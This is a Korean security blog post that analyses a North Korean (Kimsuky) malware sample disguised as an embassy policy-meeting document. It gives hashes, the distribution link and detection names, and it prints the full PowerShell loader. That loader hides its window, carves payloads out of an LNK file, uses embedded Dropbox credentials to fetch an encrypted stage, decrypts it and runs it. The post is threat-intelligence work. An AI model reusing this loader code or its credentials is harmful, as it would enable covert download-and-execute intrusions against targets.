꿈을꾸는 파랑새

오늘은 우리 북한?? 에서 국제적으로 해킹해서 개인정보 및 가상화폐(암호화폐) 등을 수집하기 위해서 해킹을 하는 해킹 단체이고 2017년 Cisco Talos 연구원이 처음 발견했으며, 2014년부터 탐지되지 않은 채 고도의 타깃 공격으로 하는 북한의 해킹 단체 Thallium, APT37과 관련된 해킹 단체이며 Kimsuky(김수키)에서 만든 202404주중대사관 정책간담회.rar(2024.3.29)에 대해 글을 적어 보겠습니다.

일단 해당 악성코드는 私見(사견)으로는 먼저 주중대사관 또는 대사관에 일하는 분들인 외교관 또는 고위급인 한나라를 대표하여 다른 나라에 파견되는 외교관인 대사(Ambassador) 또는 제5조의2(대외 직명의 지정) 대통령은 정부대표 또는 특별사절에 대하여 필요하다고 인정하는 경우에는 외교부장관의 제청으로 국무회의의 심의를 거쳐 특명전권대사 또는 대사(大使)의 대외직명(對外職名)을 지정하는 경우이기 때문에 한국 국가기관의 기밀 자료에 접근하기 위해서 만들어진 악성코드가 아닐까 생각이 됩니다.
최소 주중대사관 직원은 노렸다고 생각을 합니다. 작업 방식은 이메일을 통해서 공문이나 뭐니 이런저런 핑계를 되고 접근을 하고 답변을 하면 너를 위한 악성코드가 준비돼 있으니 다운로드 하고 실행해~비번은 이것임이라고 했을 것이고 해당 경우는 구글 드라이버 에 파일을 업로드 해서 해당 Rar 파일 다운로드 해서 비번을 풀고 실행을 하게 
2024.3.30 23:30 기준으로 살아남아 있어서 조심해야 할 것 같습니다. 악성코드가 유포되는 구글 드라이브 주소는 다음과 같습니다.

202404주중대사관 정책간담회 에 포함된 파워셀 코드
202404주중대사관 정책간담회 에 포함된 파워셀 코드

hxxps://drive(.)google(.)com/file/d/1il2xROXby8MpXv4wvWhefEtm7yknG5F5/view?usp=sharing

이며 해당 악성코드 해쉬값은 다음과 같습니다.
202404주중대사관 정책간담회.rar
파일명:202404주중대사관 정책간담회.rar
사이즈:153 KB
MD5:a20aa6632048852a2e40cd5a6cfebfda
SHA-1:fc5f07699655fd283b9c525233f4c9abdee7ba08
SHA-256:e9a73243f0fbd158ad0113753c3b289b042c233bfb15c9784fa827f689e53234

해당 악성코드 Rar 압축 파일에서 해당 악성코드를 추출하면 한글과 컴퓨터에서 제공하는 워드 프로그램인 Hwp 확장자인 것처럼 생긴 아이콘을 볼 수가 있는데 해당 악성코드를 잘 보면 lnk 파일은 것을 확인할 수가 있고 해당 악성코드 해쉬값은 다음과 같습니다.파일명:11111.lnk
사이즈:1.05 MB
MD5:a4bd6d00abbd79ab00161ff538cfe703
SHA-1:075d7249d09f14cbf0a4ffcb077c77512d3ab9a0
SHA-256:fe156159a26f8b7c140db61dd8b136e1c8103a800748fe9b70a3a3fdf179d3c3
입니다.

202404주중대사관 정책간담회 악성코드 실행
202404주중대사관 정책간담회 악성코드 실행


Cerbero Suite Advanced 로 본 악성코드 속에 포함된 Powershell 코드는 다음과 같습니다.

202404주중대사관 정책간담회 에 포함된 파워셀 코드
202404주중대사관 정책간담회 에 포함된 파워셀 코드

/c powershell -windowstyle hidden -nop (-)NoProfile (-)NonInteractive
-c "$tmp = '%temp%';$lnkpath = Get-ChildItem *(.)lnk;for(e)ach ($path i(n) $lnkpath)
{ if ($path.length -eq 0(x)0010F27C) { $lnkpath = $path;}}for(e)ach ($item in ($)lnkpath)
{ $lnkpath = $item.Name;}$Inp(u)tStream = New-Object System(.)IO.FileStream($lnkpath,
[IO.FileMode]::Open, [System(.)IO.FileAccess]::Read);$fil(e)=New-Object Byte[]($Input(S)tream.
length);$len=$Input(S)tream.Read($file(,)0,$file.Length);$I(n)putStream.Dispose();writ(e)
-host \"read(f)ileend\";$path = $lnkpath.subs(t)ring(0,$lnkpath.length-4);$path1
= '%temp%\tmp' (+) (Get-Random) + '(.)vbs';$len1 =    10572(4)8;$len2 =
111(0)496;$len3 =    11(1)0496;$temp = New-Object Byte[]
($(l)en2-$len1);wr(i)te-host \"exestart\";(f)or($i=$len1; $i (-)lt $len2; $i++)
{ $temp([)$i-$len1] = $file[($)i]};sc $path ([b(y)te[]]$temp) -Encoding Byte;write-
host \"e(x)eend\";$temp = N(e)w-Object Byte[]($file.Length-$len3());for($i=$len(3)
;$i -lt $file.L(e)ngth; $i++) { $temp[$i-$len3] = $file[$i]}; $encData_b64 =
St(a)rt-Process -FilePath $path;[System.IO.File]::Delete($lnkpath);Functi(o)n
AESD(e)crypt { param ( [Byte[]]$bytes,[Strin(g)]$pass=\"pa55w0rd\") $Inp(u)tStream
= New-Object System.IO.Me(m)oryStream(,$bytes);$Outp(u)tStream = New-Object
System.IO.MemorySt(r)eam;$Salt = New-Obj(e)ct Byte[](32);$BytesRead
= $InputStream.Read($Sa(l)t, 0, $Salt.Length);if ( $BytesRead -ne $Salt.Length )
{ exit;} $PBKDF2 = New-Object Sys(t)em.Security.Cryptography.Rfc2898DeriveBytes
($pass, $Salt);$AESKey = $PBKDF2.Ge(t)Bytes(32);$AESIV = $(P)BKDF2.GetBytes(16);
$AES = New-Object Security.Crypt(o)graphy.AesManag(e)d;$Dec = 
$AES(.)CreateDecryptor($AESKey, $AESIV);$Crypto(S)tream = New-Obje(c)t
System.Security.Cr(y)ptography.Cryp(t)oStream($InputStream, $Dec,
[System.Security.Cryp(t)ography.CryptoStreamMode]::Read);$CryptoStr(e)am.
CopyTo($OutputStr(e)am);$Output(S)tream.Dispose();return $Output(S)tream.
ToAr(r)ay();} $clientID = \"oj8kd1lzq(r)w7v3m\";$clie(n)tSecret =
\"vwp27(g)ytekx9jfq\";$(r)efreshToken = \"wR3_ULk2OicAA(A)AAAAAAAV81-_
COcFPa(8)SN0V5K-ZPTYB-BVIH5E1c4_fqLOCC_u\";$body = @{grant_type=\"refresh(_)
token\";refresh_to(k)en=$refreshToken;client_id=$clientID;client_secret=($)
clientSecret};$tokenEndpoint = \"https://api(.)dropboxapi(.)com/oauth2/token\"
;$response = Invoke(-)RestMethod -Uri $tokenEndpoint -(M)ethod Post -Body $body
;if ($re(s)ponse.access_token) {$ac(c)essToken = $response.ac(c)ess_token;}
$downloadUrl = \"https://content(.)dropboxapi(.)com/2/files/download\";$remo(t)eFilePath
= \"/step5/ps(.)bin\";$request = [System.Net.HttpWebReque(s)t]::Create($down(l)oadUrl)
;$request.Method = \"POST\";$request.Headers(.)Add(\"Authorization\", 
\"Bearer $accessToken\");$request.H(e)aders.Add(\"Dropbox-(A)PI-Arg\", 
'{\"path\": \"' + $remoteFilePath + '\"}');$response = $request.GetRes(p)onse
();$receiveStream = $response.GetResponseStream();$pass = \"p(a)55w0rd\"
;if ($(r)eceiveStream -ne $null) {$streamReader = New-Object System.IO(.)
StreamReader($receiveStream);$memoryStream = New-Object System.IO.MemoryStream;$buff(e)r
= New-Object by(t)e[] 1024;$read = 0;do { $read = $receiveStream(.)Read($buffer, 0,
$buffer.Length);$memoryStream(.)Write($buffer, 0, $read);} while ($read -gt 0);$enc_bytes
= $memoryStrea(m).ToArray();$dec_bytes = AESDecrypt -bytes $enc_byt(e)s
-pass $pass;$newString = [System.Text.Encoding]::UTF8(.)GetString($dec_bytes)
;iex $newString;$memoryStream.Clo(s)e();$streamReader(.)Close();};$receiveS(t)ream.Close()
;$response(.)Close();"
    iconlocation: .\8(.)hwp

악성코드 코드 설명

PowerShell 스크립트는 다음과 같은 작업을 수행
1. 먼저 PowerShell 프로세스를 숨기고 (-windowstyle hidden),PowerShell 실행 옵션을 최소화하여 스크립트 실행을 최적화(-nop -NoProfile -NonInteractive)
2. 스크립트는 일련의 작업을 수행하기 위해 환경 변수를 사용
%temp%는 시스템의 임시 디렉터리를 나타냄
3. Get-ChildItem .lnk를 사용하여 임시 디렉터리에서. lnk 확장자를 가진 모든 파일을 검색
4.찾은 .lnk 파일 중 길이가 특정 값을 가진 파일을 식별
해당 값을 기반으로 한 파일을 선택하여 $lnkpath 변수에 저장
5.선택된 .lnk 파일의 이름을 추출하여 $lnkpath 변수를 업데이트
6. 선택된. lnk 파일을 열고 그 내용을 읽어들임
7. 읽은 내용에서 특정 오프셋에 있는 바이트를 추출하여 임시 VBS 파일로 저장 해당 파일은 후에 실행될 예정
8. 읽은 내용을 특정 방식으로 처리하여 실행파일을 추출 이후 이 실행 파일을 임시 디렉토리에 저장합니다.
9.Dropbox API를 사용하여 특정 파일을 다운로드 이때 인증을 위한 토큰과 클라이언트 정보가 사용됩니다.
10.다운로드한 파일을 AES 암호화로 복호화하여 실행합니다.
해당 스크립트는 다소 복잡한 프로세스를 거쳐 악성 파일을 다운로드하고 실행

악성코드 구글 계정

bugler011@gmail(.)com

bugler(나팔수)

그리고 나서 wrew 이라는 파일을
파일명:wrew.hwp
사이즈:52.0 KB
MD5:724bf81c0a9adb3ffe6b03a21f7cab09
SHA-1: bfcb7e6e5048c19020e26be236d70714e56c4048
SHA-256: 32e739ea04e2afc0f73d54f78f08cc3368867c036b00be21b6e58a0d1d466151
만들고 해당 이 생성이 되고 해당 파일을 hwp 파일로 변경해서 실행하면 다음과 같이 내용이 담긴 것을 확인할 수가 있습니다.

악성코드 가 생성한 wrew 파일202404주중대사관 정책간담회 악성코드가 생성한 한글 파일
악성코드 가 생성한 wrew 파일

한중 북중·안보현안 비공개 정책간담회 계획(안)
2024.4.19.(금), 주중한국대사관
1.개최 목적
□ 2023년 4월에 중국 양회(兩會)에서는 시진핑 주석의 3연임이 성공하였다. 시진핑 3기 지도부 출범 이후 가장 중요한 대외전략 변화는 기존 미국과 서방이 주도하는 규칙에 기반하는 자유주의 국제질서를 더 이상 수용하지 않는 것이다. 미중 전략경쟁 격화와 중러 전략적 경제-안보협력 본격화, 북중러 대 한미일 대립 구도 출현 등으로 한중관계는 매우 큰 어려움과 도전을 맞이하고 있다. 한중관계를 평가하고 한중관계 개선을 위한 함의 도출 
세부 계획을 보면 개최 방식] 대면+비대면(Zoom 화상) 등이 있고 비공개로 돼 있는 것으로 정부에서 발행한 것처럼 속이기 위함이 아닐까 생각이 됩니다.
개인적인 생각이지만 아마도 안보 관련 연구소에서 발행한 글들을 짜깁기해서 마치 정부에서 발행한 공식 문서인 것처럼 속이려는 것이 아닐까 생각이 됩니다.
2024-03-30 05:55:26 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Downloader/LNK.Powershell.S2543
ALYac:Trojan.Agent.LNK.Gen
Arcabit:Heur.BZC.YAX.Boxter.331.8BAE0950
Avast:LNK:Agent-IL [Trj]
AVG:LNK:Agent-IL [Trj]
BitDefender:Heur.BZC.YAX.Boxter.331.8BAE0950
DrWeb:Trojan.MulDrop26.46164
Emsisoft:Trojan.PowerShell.Gen (A)
eScan:Heur.BZC.YAX.Boxter.331.8BAE0950
ESET-NOD32:A Variant Of Generik.ICQFXPT
Fortinet:LNK/Kimsuky.GOSU!tr
GData:Heur.BZC.YAX.Boxter.331.8BAE0950
Google:Detected
Ikarus:Trojan.SuspectCRC
Kaspersky:HEUR:Trojan.Multi.Powecod.i
Kingsoft:Win32.Troj.Unknown.a
Lionic:Trojan.WinLNK.Boxter.4!c
MAX:Malware (ai Score=83)
Rising:Trojan.PSRunner/LNK!1.DB7E (CLASSIC)
SentinelOne (Static ML):Static AI - Suspicious LNK
Skyhigh (SWG):BehavesLike.Dropper.tx
Sophos:Troj/LnkObf-T
Symantec:Scr.Mallnk!gen13
Tencent:Win32.Trojan.Powecod.Bgow
Trellix (FireEye):Heur.BZC.YAX.Boxter.331.8BAE0950
Varist:LNK/ABRisk.AGHM-16
VBA32:Trojan.Link.Crafted
VIPRE:Heur.BZC.YAX.Boxter.331.8BAE0950
ZoneAlarm by Check Point:HEUR:Trojan.Multi.Powecod.i
결론 기본적인 보안 수칙을 잘 지키면 북한 해킹 단체들은 정부 관계자뿐만 아니라 민간 군들을 공격하고 있으므로 항상 조심을 해야 합니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band